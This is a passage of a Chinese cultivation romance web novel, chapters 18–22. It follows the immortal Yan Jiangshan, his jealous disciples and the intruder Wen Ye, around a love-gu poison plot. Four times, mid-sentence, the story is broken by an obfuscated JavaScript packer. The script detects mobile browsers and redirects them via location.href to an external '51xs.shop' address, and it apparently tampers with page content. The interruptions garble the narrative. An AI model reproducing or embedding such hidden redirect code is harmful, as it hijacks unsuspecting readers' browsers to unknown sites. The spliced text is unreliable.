“不必担心,有师尊护佑,缓过来许多。”话毕,他飞身而去。 青年看着顾鸣远去的模糊身影,原本平静下来的心绪又活了起来,师尊身上的情蛊,绝对不是他来之后种下的,这个从小被养在身边的大师兄,说不定也知道些事情。 晏月想起什么似的,召出两只月见精灵,甫一照面,就给其中一只抓起来,他看向另一只急得“咿呀咿呀”叫的家伙。 “你现在回秘境一趟,带点琉璃潭水回来。否则,我就把它炼成丹药。” 月见精灵听得懂话,忙不迭去了。它速度不慢,又难抓,现在秘境留下的修士不是死了就是伤了,它趁机去趟人迹罕至的琉璃瀑布,还是不成问题的。 等把剩下的那只扔回储物戒,晏月端坐在师尊旁边,面无表情的想,今天师尊去试琉璃水没有反应,说不定能引得师尊心绪动荡的那个人,早就不知道死在哪里了呢。 鸳鸯蛊不似月见草这般双生双落,同生共死。雄蛊死了,留雌蛊每月强行反噬修为,也是有可能的。 青年取出一枚寒冰珠,又点了凝神香用以辅助,随后给师尊盖上被褥,看着他舒展眉目,安然睡下。 许是现在离月中已经过去三日,雌蛊消停不少,今晚晏江山恢复的要比以前快的多。 晏月探了探他的脉搏,还是老样子,但有了思路再去看,这是什么情况,几乎是一目了然。 他最后给师尊整理好衣服,确定没什么疏漏,起身出门,出了九灵峰向元若峰方向飞去。 这情蛊不可能是没缘由的,就算不能明言,也得从那些长老们嘴里旁敲侧击出什么,才好根治。 在晏月离开九灵峰不久,山下就冲上来一团妖气,路离直愣愣地回来,果然发现师尊也出了洞府。 他就知道,顾鸣都不闭关了,那师尊多半也是出来了,他哼哼唧唧就想往师尊房间里进,却不想被禁制挡了个正着。 这屋子的禁制是师尊自己下的,如今师尊还睡着,路离也不敢强闯惊扰师尊,只得窝在了屋顶,一副闷闷不乐的架势。 他闷闷不乐除了跟那个问野打了一半架被拦下,还有中途收到了涂山传音,要他明天回去的原因。 师尊都还没醒,他才不要回去呢。 那些老狐狸就只知道塞给他什么媚术,惑心决,他堂堂涂山少主,还需要修炼那些东西吗?? 18.【路离专场】 翌日清早,晏江山一觉醒来,神清气爽,他重新运了气,果然发现自己的境界回来了,就是这几日被困在低境界,现在一时有些滞涩而已。 他才运转了一遍功法,外面就蹿过来了一个白团子,这会不是在屏风在乖乖等他,而是直接跑上了床,往人怀里拱。 “路离。”青年被狐狸逗得发笑,他摸了一会儿,把狐狸脑袋从被子里拎出来,“真是胡闹。” “晏月都能睡,凭什么我不可以。”路离虽然消停了一些,但依旧不服。 晏江山没跟他在这方面扯太多,只是用神识探了一遍:“你昨晚是不是下山跟人打架了?问野受着伤,你还跟他打,不是说了让你安分些好好练功?” “他哪里受伤了,师父你是不知道他出手有多狠辣,还总是薅我毛,真不要脸。” “哦?看样子没打过?”青年一副油盐不进的姿态,“那更要回去练功了。” 路离刚要反驳,就又听晏江山道,“别以为我不知道涂山那边让你回去一趟,多半是又有什么功法传承。” “知道你身负涂山血脉,妖力强横,但这些东西你无法炼化只会伤人伤己,何况有些东西,不是我们人类修士能教你的,回去吧。” 晏江山又摸了一把狐狸毛,这路离一走,归期不定,不知道下次什么时候能摸的上。 “是,师父。”路离窝在青年身边,最后蹭了蹭他,就是再不想走,也明白师父一片苦心。 狐狸秉持着速去速回的理念,风一样刮了出去,等他走后晏江山看着空空的屋子,有些不习惯。 顾鸣这个时间多半是在峰顶晨练,那晏月呢?他居然也不在? “晏月!”白风刮了一半,却在将出朝天宗的时候,看到了一个意料之外的人,路离停下,看了眼旁边的元若门匾,“你来这儿干什么?” 晏月顿了顿,没有说实话:“有几味药遍寻没有踪迹,大长老见多识广,过来问问。” “给师父治病的?他现在醒着,好像好了不少,你赶紧回去看看,别让师父复发了,我这几天不在,最好是别出什么岔子。” 路离语速有些快,虽然是叮嘱晏月,语气却不好,好像他不在,连晏月也会叫师父出事一般。 晏月瞥了他一眼,没理这些话,只是沉默着转身回去。 狐狸原地看着他的背影,感觉有些奇怪,又转念一想,他这个二师兄虽然不跟顾鸣一样是个冷脸闷葫芦,但除了对师尊,平时也是假模假样不爱理人的。 路离没再想,只是出去的速度又快了点,他不在可算是让这个晏月逮到机会了。 那不行,师尊最喜欢他,他才是师尊最最疼爱的弟子。 “二哥!二哥!”刚出朝天宗,还没到半山腰就听见远处传来脆生生的语气,打眼一看,是个穿金戴玉,粉雕玉砌的五六岁小女孩。 “无忧怎么来这里了。”哪怕是路离不想回去,一出来就看到自己妹妹,也还是开心的。 “给少主请安。”小女孩旁边的老人行礼,而后解释,“涂山有一脉狐狸在泸阳城外修行,今儿个正逢结亲,喜庆着呢,王上叫我顺便带小帝姬去凑凑热闹。” “结亲有什么好看的,不是要教给我功法传承吗?回去给我拿了,我还想赶紧走呢。” 涂山一脉狐狸的寿命很长,路离长到五百多岁,也没碰上什么喜宴,在他的印象里,结亲不就是两个人牵条绳子,被一堆人围着笑吗。 多无聊啊,还不如他早上在他师父旁边蹭一会儿来的有趣,至少还能预判一下师父薅他的手,在什么时候伸过来。 “二哥二哥我想去嘛,结亲有新娘子。”路无忧拉了拉自己哥哥的衣角,“听说新娘都很漂亮,人也很好,二哥什么时候结亲啊?我要看二哥娶新娘子。” “这样吧无忧。”路离半蹲下来认真道,“看到后面的山了吗?山里也有一个特别漂亮,特别好的人,笑起来是我见过最好看的,我们不如去——” “愣着干什么!拦住这个逆子!!” 一直通过水镜看着这边消息的狐王,毛都要被气炸,当初扒着人家晏仙尊不丢手,他这个做爹的都已经在族里丢遍脸了,现在居然还想把他妹妹一并拐过去! 真是家门不幸啊! “少主!”长老接到命令,忙打断了路离。 “按涂山惯例,没成年的狐狸需教养在涂山,帝姬出来这一趟,已经是王上破例了。我们还是快去城外吧,那边喜宴也快开始了。” 水镜外,王后给男人顺了顺气,看了眼镜子里,自己许多年未见的儿子,忧心道:“王上,这真的能成吗?离儿这些年在九灵峰,没听说有结亲的念头。” “等他有了喜欢的人,自己就会有结亲的念头了,我们现在要做的,就是让他憧憬起以后结亲的日子。” “有些种子只待种下,慢慢的,会自己长出来的。”狐王对自己的方法很是得意,“城外的那些准备好了吗?记得演的逼真一点。” 狐王吩咐下去的时候,路离也抱着路无忧来到了所谓结亲现场,花轿刚进了门,长老奉上请帖,他们一行人也被当做贵客迎进去。 锣鼓喧天,鞭炮齐鸣,放眼望过去红通通的一片,喜庆是真喜庆,吵也是真吵。 路离揉了揉耳朵,看向大堂中间的一对新人,同样是狐狸,他能感应的出来,新娘是涂山狐族。 “多好的一对壁人啊!”长老在旁边猛的出声,随后遵照狐王的指示,声音越来越大,“以后和和美美地过着二人世界,逍遥又快活!” 原本被这突如其来的声音惊的一颤的路离,闻言露出一副若有所思的表情,他问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997202|148068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“成了亲就能逍遥自在的过二人世界了吗?” “那是当然啊!”这回不等狐王催促,同样忧心自家少主的婚事的长老就立即应和着: “你看狐王跟王后,那可是多少年别人慕羡的佳偶。人类修士们不也是常说,只羡鸳鸯不羡仙吗?” 路离摇摇头,拉着长老严肃地去到一边:“我不是问这个,成了亲,就是两个人一起?只有两个?” 长老被这若有所指的话一呛,颤颤巍巍道:“少主……您还想几个……?” 老头絮絮叨叨:“虽然早些年我们狐狸确实名声不好,可那都是几千年以前的事情了,我们现在也是奉行一生一世一双人的,不过您要是想多娶几个,也不是不行——” “不!”路离坚定着,两眼放光,“一生一世一双人就很好!” 他师父要是能跟他一生一世一双人,那就不会有那么多乱七八糟的人出现了。 “少主明智!”长老大喝一声,旁边的“群演”们也丝毫不吝啬掌声,连新娘子都盖头一掀,前来喝彩。 大红屋子掌声雷动,经久不息,长长的“啪啪啪”过后,又陷入了诡异的沉默。 路离挨个扫了过去,连最小的路无忧都没能逃过他的眼刀:“你们?” 小女孩做了个鬼脸躲在了长老身后,剩下几十只狐狸面面相觑,最后老实认错。 “少主勿怪。” “咳,那什么,我们只是有点激动。” “我们不是故意的。” “是啊。”“新娘”扯下盖头,“都是王上要我们这么做的。” 猝不及防被供出来的狐王“……” 眼看计划败露,狐王也没再掩饰,当即现出一人高的水镜,他的身影也自其中显现。 “离儿,你在九灵峰也待了好些时日了,不如回涂山玩两天怎么样?” 路离:“要教我功法秘术?” “是啊,狐族秘阁那可都是祖传的好东西,你想学什么都可以!” 路离一顿,最后点了头,除了朝天宗的地界,想去涂山有特定的传送卷轴,他现在回去,甚至用不了一刻钟。 狐王大喜,当即让人好一通收拾,然而万事俱备,那缕东风却没到。 彼时,秘阁长老却惊惶求见:“王上!涂山……涂山有宵小方止,这秘阁空了八成啊!” 狐王跟王后面面相觑,两人背过身来私语。 “王上,我没记错,你早上跟我说,所有正经功法,炼体决,青遁术什么的,都找出来在这儿了对吧?” “那秘阁剩下的八成是?” 他们做狐狸的,祖上能有多少正经东西。 狐王沉默了一会儿,老实道:“一点惑心决,一点媚术,还有……” 超级无敌多的——春、宫、图。 19.衣服都没穿齐整的仙尊 在狐王感慨自己儿子很有雄心壮志的同时,不明情况的路离正拿着装满了东西的储物戒往回走。 他想明白了,他要跟师父,啊不对,他要师父跟他,一生一世一双人,什么顾鸣,什么晏月,都得靠边站。 呵,不就是自己师母吗,他当定了! 路离这一趟涂山之行,从出门到回来,一个时辰也没用到,晏月刚从药炉出来时,两人还打了个照面。 “有什么东西落下?” 狐狸摇了摇头,连回句话的功夫也不想给,径直蹿自己屋里了,他可是要当自己师母的人,自然是要勤加练习功法,哪里有时间跟这些日后的小辈闲谈。 这边的晏月则是对着刚回来不久,身上还沾有琉璃潭水的月见精灵下了令。 果不其然,没两秒,就听见路离的屋子里传来叫声:“九灵峰居然有虫子吗,什么东西这么疼!” 虽然听起来是不轻,但晏月是明白琉璃潭水的威力的,如今路离的情状,虽然比在秘境时严重,可绝对不是最疼的那一档,他也就放心了些许。 唯一没算准的是,兽类心性纯稚,有一点很难搞:他们几乎随心而为,且为所欲为。 比如刚刚受了疼的路离,当下就丢了刚拿到手里,还没翻开过一页的惑心决,直奔师尊屋子的方向,看样子多半是要去找师尊撒娇诉苦的。 晏月这边端上刚才练好的丹药,也跟了上去。 果不其然,没进屋就听着路离嚷疼,不知道还以为这五百年岁数的男狐狸,真被区区几滴琉璃水伤到了呢。 晏江山是喜欢路离,也受不住这家伙这么缠人,正好看见晏月过来,忙招呼他进来:“晏月,来的正好,我手里的丹药上次用完了,你师弟喊着疼我这儿也没药。” 路离偷偷撇撇嘴,谁要晏月这家伙多事,他可是正在为他的师母之位做打算呢。 “师父,你用灵力帮帮我也行。” 晏月冷眼看着,上了岁数的脸皮就是厚一些,这点儿事情也敢恬不知耻的让师尊用灵力舒缓。 “师尊病症刚好些,不宜受累,知道师弟被虫子咬了疼,也请替师尊想想。” 路离眉头皱的死紧,他就是想找师父撒个娇,怎么被晏月一说,搞得他跟那些外面不顾惜师父身体的坏徒弟一样。 好歹跟路离相处不算少,晏江山一看路离这表情,就知道接下来怕是要跟晏月犟上了。 他忙扯开话题:“涂山不是叫你回去?怎么这么快就回来了,没住上几天?” “父王母后要我好好练功,拿了些功法就让我回来了,说是在师尊旁边,有师尊亲自教导事倍功半。” 路离那些话是编的,他就赌父王母后应该是不会把他们派人演戏,又被他识破的事情捅出来,更何况,他觉得他说的也没错。 什么媚术,惑心决,总得有个施法对象吧,全九灵峰唯一一个可选对象,不就是他师父? 既然顾鸣能跟他师父过剑招,他跟自己师父一起修炼术法,又有什么可以指摘的呢。 想起来那天的事情,路离又酸酸道:“师尊,你都可以指点顾鸣,总不会不想指点我吧?” 这话倒是把晏江山架起来了,身为师父,他自认教导几个徒弟也算用心。 但大徒弟剑门后人,一点就通,二徒弟于医药一道也是进步神速,路离就更不用说了,身负血脉,妖力惊人。 剑招什么的他还能凭着这些年的经验,跟顾鸣过上两手,但是狐族术法,这叫他怎么教。 “术法一道,我不甚精通,但可以一起研究讨论。”其实连研究讨论他都不想有,他又不是狐族中人,那毕竟是秘术,能不能外传都两说。 青年求证道:“你那话当真?狐王真是这么交代的?” “自然当真,我堂堂少主,想学什么总没有不让我找师父讨教的道理。”路离很是理直气壮。 他们不就是想让他结亲,他如今真的有念头,正在为此努力,父王母后怕是乐都来不及。 “师尊大病初愈,晚些时候还要去药浴,施针,今天怕是没时间了。” “这么早?”路离看了眼外面的天,中午还没到,现在就去药浴吗。 可话说回来,如果现在就去药浴然后施针,那师尊晚上的时间不就正好可以陪他研究术法? 思及此,狐狸一反往常地催促着:“师父快去吧!中午日头正好!” 晏江山对路离的表现有些意外,也只当是他回涂山一趟,成熟不少。 一无所知的师尊又怎么能知道,这徒弟成熟在一些不该成熟的地方呢。 未过晌午,后山的灵泉再度被布满了灵药,比上次的还要多,药香味也就更重,闻上一下心旷神怡。 “这次的药跟之前不一样了吗。”晏江山询问。 “对师尊的病症了解些许,用药重了一些。”晏月垂眸,又加上几颗用来控制灵泉温度的灵石。 “我这是什么病?”他是好奇的,毕竟严格来说,他这个病就是系统强制安在他身上的,莫非是修仙界原本就有的某种异症? “上次秘境之行,与药王谷徒孙相谈甚欢,他回去问了家中长辈,说是失传的蛊毒。” “跟一种蛊毒很像”晏江山笑道,“那倒是奇事。” “欸?你怎么会跟药王谷那个徒孙相谈甚欢,他碰上你,居然没有挑事?” 晏月注视着水中师尊的表情,但是没有发现任何异常。哪怕是被他如此试探,居然也不露一丝破绽,师尊没有半点打算将鸳鸯蛊如实相告。 “没有,张道友被魔头所困,我路过救了他。” “莫不是血肉山谷那个魔头?此次秘境真是怪事频出,魔修们太过猖狂,如此得罪下去,不怕被群起而攻之吗。” “许是有自己的底牌,有恃无恐。” 简单的几句话之后,晏江山忽然吩咐:“你先下去吧,我泡完药浴去找你。” 晏月一怔,应声称是。 他刚走,晏江山手一挥,灵力涌出直接笼住了整个灵泉以及周围区域,可以解释为这是保护罩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010339|148068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当然,对于此刻的问野来说,更像是这人困自己用的囚笼。 “还不出来?”泉水里的人乌发半湿,披在肩上,指尖引着一股水流做成的小剑,左摇右晃看起来乐在其中。 问野丝毫不怀疑,再有迟疑,这东西就会冲自己劈过来。 “见过……晏仙尊。”他老实过来,此刻唯一兴庆幸的一点就是,自己总是以化形见人,不至于直接被他识破身份。 但是谁能想到,晏仙尊居然会有扮成修为平平小师弟的一天呢,最初的震惊过去,问野只觉得离奇。 晏江山看着他,或者说“它”,依旧是黑布隆冬的一团黑气,跟上次一样只是显出个男人的形来,并没有具体的躯壳。 青年没有这么裸着跟人说话的意思,灵力一转,再一个旋身飞落在地,衣服也披在了身上,不能说太过规整,至少原本的那些风光是遮掩了个七七八八的。 上次见到这小贼,居然还威胁他,这次倒是乖觉,连跑也不跑了,晏江山缓步围着他走了一圈,但对现在的情况还是不甚满意。 “跪下。”青年斜斜倚在旁边的长椅上,姿态懒散。 问野只是化了形的模样,现在按理说是没有心脏存在的,但他却觉得自己的心跳得很快。 男人微微低头,半垂着眼帘看着眼前没有被完全遮盖,还在顺着衣衫滴水的白皙脚踝,听话照做。 只是黑气而已,其实所谓的跪下与否,区别仅仅在于黑气高一点,或者低一点。 晏江山有点后悔,这跟他想象中的根本就不一样。 高点的时候还好,这甫一跪下,离他就近得多了,跟一不小心会被沾染,随时就顺着爬他身上似的。 下意识,青年换了个姿势,离他远了一点。 “是魔修?”修为恢复后,晏江山就多很多闲情逸致。比如仔细的问一问,这人到底搞得什么名堂,他拿出了上次的乌羽扇摇了两下。 “上次我下山的时候,你应该就在附近吧。” “在下是一个小小修士,功法确实诡异,但也不是魔修。”问野半点也不心虚,毕竟真算起来,他手上魔修的性命比修士们还多。 “泸阳城里远远见过仙尊,看仙尊喜欢,特地赶来奉上。” 青年闻言掀起眼皮,睨他一眼:“你倒是有心,赶到我沐浴的池子里奉。” “仙尊见谅,在下一时情急,失礼了。”黑气更低了点,歉意多么虔诚似的。 但问野却目不转睛地盯着前面的人看,左右化形够黑,也看不出他的无理举动。 他觉得自己的心跳得更快了,漂亮小仙君是没有了,但是又有一位又漂亮,又强悍的仙尊。 男人盯着那张矜贵绝尘的脸,脑海中浮现的,却是这人中了药躺在自己怀里,勾着他不让走的那一晚。 曾经听过的声音,碰过的触感,尤历历在目。 然而氤氲着清气的灵泉岸边,刚刚披上了衣服,甚至薄衫底下衣服都没穿齐整的仙尊,姿态傲然。 问野有些心痒。 20.蠢蠢欲动 不知道是不是自己的错觉,晏江山觉得那团黑气离自己又近了些。 青年轻摇羽扇,灵力风暴就在这轻轻巧巧的几下里汇聚,他问出了跟最开始这人威胁他时,一模一样的话来。 “怕吗?” “仙尊想杀了我?”问野这么问,但他并不觉得这位仙尊会对他如何,虽然常常看不上这群修士慈软做派,可偏偏有时候他们又总是会手下留情。 他上次到底也没做些什么,晏仙尊……最多把他关起来拷打一番罢。 九灵峰人又不多,知道他们之间的事情,也唯彼此二人,怕是只能这位美人仙尊亲自来问了。 想着,黑气整个都往外溢出来了点,那蠢蠢欲动的模样,是半点都藏不住。 晏江山斜了眼几乎要碰到他的东西,眉心蹙起,右手羽扇猛的压下,灵力风暴卷了过去,整团黑气被打进水里,激荡起水波阵阵。 “滚。再敢私闯九灵峰,别怪我把你碾成滋养灵药的肥料。”青年不欲与他多言,他这一下也着实不轻,如果问野修为再差点,半条命都没了。 可哪怕是现在这种程度,也足够问野喝一壶了。 半山腰的庭院里,少年吐出一口血来,他嘴角勾出弧度,抬手召来传音石。 既然这位美人仙尊不让私闯,那他一个被他好徒弟打伤的无辜修士,想光明正大地进他九灵峰的门,也不难? * “师尊,您叫我。” 本来就没走出多远的晏月,在听到师尊传唤时就马上过来了。他自然是知道方才师尊有意支开他,并且用了灵气罩隔绝窥视的。 平日里师尊从来没有这么做过,这是第一次,但晏月却觉得,异样是从上一次就开始了的。 “把水换掉,重新放上药吧。”晏江山还是那个姿势,许是正午日头不错,真晒得他有些困意。 晏月扫了一眼现在的情景,师尊在岸上,但灵泉周围原本干了的地上,却溅到很多水渍,像是被带着点力道甩进了水里。 沐浴的地方,一但多了第二个人,总是会蒙上一层暧昧的色彩,有人起了个名字,叫鸳鸯浴。 鸳鸯浴,鸳鸯蛊。上次有人闯入,师尊就瞒着他,那人还给了师尊那把乌羽扇,如今又闯一次,还都是师尊沐浴的时候。 晏月就是不想往悱恻的事情上想,这下也难了。 在他不在九灵峰的年岁里,在师尊早早成名的时段里,或许真的有那么一个人,陪着师尊,做他道侣。 所以,师尊愿意服下雌蛊,每月助人提升境界,现在这日子刚一过去,又特地出现跟师尊缠绵了? “晏月?” 他猛的回神,按师尊的吩咐换好,又退下了。 随即,晏月去了峰顶,既然现在都怀疑到这种地步,总得找人求证点什么。 峰顶很凉,几乎是瞬间那些风就刮透了衣衫,吹的人发丝凌乱,睁不开眼,连呼吸都变得艰难许多。 晏月的视线略过对面巨崖上的万千剑痕,顾鸣常年就是在这种地方修炼的吗,怪不得每次大比都能强压对方一头。 他支起灵力罩继续走,峰顶却没见那个大师兄的身影。 等探出神识扫视一圈,才在稍微低一些的地方,发现了另一股灵力波动,与此同时,对方也发现了他。 晏月赶到崖边时,那边一股冲天剑意也跟随呼啸的狂风劈向他。 “你来这里干什么。”一招过后,顾鸣看到了来人是谁,停下动作,但依旧是防御姿态。 青年堪堪躲过,他看着气势多了些戾色的师兄,纵身去了原本这位师兄上来的地方。 站在山洞门口,都不用特地观察,晏月就知道远远能看到的一隅,住着什么人。 “你到底要做什么!”顾鸣也跟着下来,周身戾气更盛,不知道的还当两人原本就是仇人呢。 “原本想着师兄这些时日应当是勤于修炼,才不怎么露面,不曾想,一直在这里待着。”晏月点破,“正值白日,又看不见师尊屋里的灯,何必苦候。” “你来这里究竟是要干什么。”顾鸣提起剑,大有他再废话一句,直接大打一场的架势。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020396|148068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “来看看师兄,顺便问点事情。” “师尊怎么了?”男人语速有些快,仿佛已经知道了晏月要问的事情就是跟师尊有关一样。 他们两人,准确来说是他们师兄弟三个都是话不投机半句多,能让晏月这个时候冒着风上峰顶的,也只有师尊了。 “师尊很好,我过来是想问点关于……师母的事情。”晏月斟酌了字句,故意挑一些能够刺激人的。 果不其然,顾鸣的脸色顷刻间就变了,配着远处呼啸而至的风,跟他后背的凌厉剑痕,看起来也相得益彰。 “什么师母,你在胡说什么!” “之前有人送了师尊一把乌羽扇。”晏月轻飘飘地补充道,“是师尊沐浴的时候送的。” 男人后退一步,拿剑的手紧了又紧,神色恍惚,那一晚,他是见过那把扇子出现在师尊手里的。 “说清楚,这是怎么回事,你又是怎么知道的。” “我给师尊配药,自然是知道的比你们要多,今天也是师尊需要药浴的时候,他刚刚又把我支开了,灵泉有人来过。” 顾鸣抿唇,默不作声站在原地,整个人陷入了混沌一样。 “原本想着师兄比我入门早,对于师尊道侣会知道的一些,现在看来,大抵也不甚清楚。” 男人顿了顿,开口:“师尊没有道侣,以前就没有,他只是救人,教人,或许有人爱慕他,但师尊没有跟任何修士有过瓜葛。” “这么看来,我们最近是要多一位师母了。”晏月淡淡地下了总结,浑然不在意一样,转身离开。 如果说路离的心思还需要用琉璃水再试一试,那顾鸣这边就很明显了,他都不用试就知道,这家伙不知道惦记过多少个日夜。 晏月又想起那位未谋面的,师尊隐瞒的很好的神秘人,他冷笑一声,为顾鸣,也为自己。 惦记有什么用呢,这样师尊就不会有一个“师母”了吗。 他敛眸远远注视着后山的池子,或许他该想一些其他方法。 比如从那个情蛊下手。 21.整天摸摸贴贴抱抱 晏江山觉得自己这个二徒弟有些奇怪,往日总是会一直侯着他的人,今天自他药浴过后就一直没见人影。 直至晌午过后,到了给他施针的时间才姗姗来迟。 “做什么去了。”晏江山一边把碍事的衣衫褪去,一边询问着。 轻薄的料子拂过皮肤,线条优美的背部整个裸露在眼前,晏月拿着针的手探了过去。 “又去看了古籍,想寻些对师尊病症有用的方子。” 温和的声线一往如常,接着就是轻微的刺痛感,青年觉得这次的穴位似乎不大一样,但也只当是晏月又学了什么新的技法。 “不必太过费心,左右每个月也就三天境界大跌。”晏江山自然明白这病跟他的任务有关,任务完不成,这病也就一直在,但是怎么跟晏月解释,倒成了难事儿。 晏月专心用着针,以前师尊对这个病的态度,他就觉得奇怪,这样严重的事情每每都轻描淡写带过去。 现在他知道了,师尊根本就是明白这病是怎么一回事,这才不让他接着往下查,往下治的。 似乎是不经意间,微凉的手指搭在了凝脂般的肌肤上,感受过榻上之人下意识颤栗,这才拿开。 晏月眸色晦暗。 便是成了元婴修士,身子居然也如此敏感。既然那人不愿意每月陪着师尊,为师尊解蛊毒,何不换一个呢。 “仙尊!外面有一自称问野的道友求见‘江岁安江道友’。”门外小童传道。 “问野?他这会儿过来干什么。”虽然先前是被路离打到了,但是光凭他那一晚骨鞭吓退众人的架势看,也不像是会因为那一下受伤的。 “先收了吧,我去看看。” “是,师尊。” 从晏月开始收起玄冥针到晏江山穿衣服,总共也就一刻钟的时间,问野在外面等的却是心急。 他从来没觉得自己是如此沉不住气的做派,没办法谁让他还特地准备了小礼物,储物戒那些鸟毛总得派上点用场吧。 这边,晏江山是半点不慌,临出门又顿住了步子,他可没忘记在问野眼里,自己是九灵峰的小师弟,甚至还中了一些奇奇怪怪的毒。 他停下,分别给几个小童和徒弟传音,最后又看着晏月:“出了这个门,在他面前我就还叫你师兄好了,身负怪病修为大跌的人是江岁安,跟晏仙尊可没什么关系。” “是。”晏月乖觉应下。 吩咐完,晏江山这才放心出门,左右问野无门无派,看着是个厉害的独狼散修,肯定不会愿意寄人篱下,过多叨扰的。 但是,事情却不是他想的那个样子。 “嗯?”等把自己的修为伪装回金丹初期,刚到前院,晏江山就听到了一个足够诧异的消息,“你的意思是,想待在九灵峰?” “江道友。”问野光是看这人金丹的修为,就知道这位仙尊还是想再装上一装了,当然,他也乐意配合,非常乐意。 小仙君江岁安可是比九灵峰主晏仙尊要好接触的多。 少年面露苦恼之色:“道友有所不知,在半山腰歇下的那一晚,这九灵峰的二弟子便再度将我打伤,秘境刚结束,各种修士鱼龙混杂,我如今的实力,实在是怕惹上什么祸端。” 问野说的很有道理,甚至言语中都没有追究打伤他的路离的意思,可以说是非常的体贴了,但是晏江山就是感觉有点不对。 路离……他真能打伤问野至此? “晏月师兄,劳烦你帮这位道友看一看吧,三师兄总是没轻没重的,我替他给道友赔礼了。” 晏月同样是不信的,他那晚也是看过问野执鞭而立的架势,况且顾鸣又去得快,路离再怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027633|148068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么也不可能把人伤的如何厉害。 但是神识刚顺着脉搏探出去,晏月就皱起了眉来,他看向师尊:“问野道友伤的不轻,连五脏六腑都跟着有损,短期内确实得好好修养。” 此话一出,晏江山是惊讶的,晏月肯定不会骗他的,那就是路离是真的把人伤的这么重。 在两个人的惊讶跟疑问里,问野就这么把自己夜闯灵泉受的伤,成功地过了明路,甚至直接给自己创造了留在九灵峰的理由。 接下来的一切,就很顺理成章了,九灵峰除了这几位徒弟,还住进来一个养伤避祸的问野。 对于晏月来说,这不算什么好消息,但这几天他得去寻觅情蛊踪迹,真要有个人给路离和顾鸣生乱,也算个不错的选择。 彼时,莫名其妙给自己师父背了锅,什么事也不清楚的路离,正窝在屋子里。 先前从涂山秘阁带回来的东西太多,他都还没看,就这么被乱七八糟放了一堆,小半个房间都要被变成书库,路离则是专心地看着手里的惑心决。 他觉得自己已经很爱师父了,剩下要研究的就是,如何让师父也喜欢上他,愿意有跟他结亲,一生一世一双人的念头。 惑心决第一卷有云:惑心之道,其一在形,其二在神,其三辅以境,加之喜恶相佐。 路离嘴角一扬,那这不是很简单吗!师父喜欢什么?这么多年,师父最喜欢的就只有一个,那就是他呀! 他可是师父最最最喜欢的弟子了,如果整天摸摸贴贴抱抱都不算喜欢,那什么算? 路离顿时信心倍增,如果是他原型的姿态,尾巴怕是能直接翘上天去。事不宜迟,他打算今晚就去跟师父好好研究研究。 于是乎,赶在最后一缕夕阳落下,原本只是在师尊房檐上守着的狐狸,蹿了下去,叩响了师父的房门。 22.他知道了! 他心心念念的师父确实在里面,但是跟他想想中的情况却不太一样。 “这是什么?”路离惊道。 平时是他常常窝在师尊怀里的,但是这时候却冒出来的一只……长着鸟毛的兔子? 路离看向那个东西,羽毛像是鸟毛,但是几乎要被团成一个球了,他活了五百多年都没见过这号东西,涂山血脉的威压,居然对这东西完全没用! 它不是个活的! 晏江山知道有人来,原以为是晏月,听见路离的声音时他还有些诧异,不过现在也来的正好。 “你还好意思问。”青年挑眉,打算好好问一问这个徒弟,“昨晚你是不是下山找问野打架,打伤了人家?” 路离接话:“他依然是不敌我的,我们……” 话说到一半,狐狸想想今天下午收到时,还觉得有些莫名其妙的传音,逐渐回过味儿来:“问野他找过来了?” “他不会赖上我了吧?”路离看了眼师父怀里的东西,“他是赖上师父了吧!!” “怎么说话呢。”晏江山斜了徒弟一眼,这话可真是不好听。 虽然他也不那么想问野留在九灵峰,但人家理由正当,甚至还送了他这个小东西,明明是很有诚意的正当做派嘛。 路离觉得自己很冤枉,明明他也没干什么,肯定都是那个叫问野的作祟,他盯着师父怀里的毛团子,更不顺眼了。 人在九灵峰就算了,偏偏还拿些什么东西占了他的位置,凭什么,他才是师父最喜欢的! 或许是路离的幽怨过于明显,连床上坐着的晏江山也感受到了。 “晚上过来有事?”青年分了些神给自家徒弟,不怪他,实在是问野给的这小东西手感实在太好。 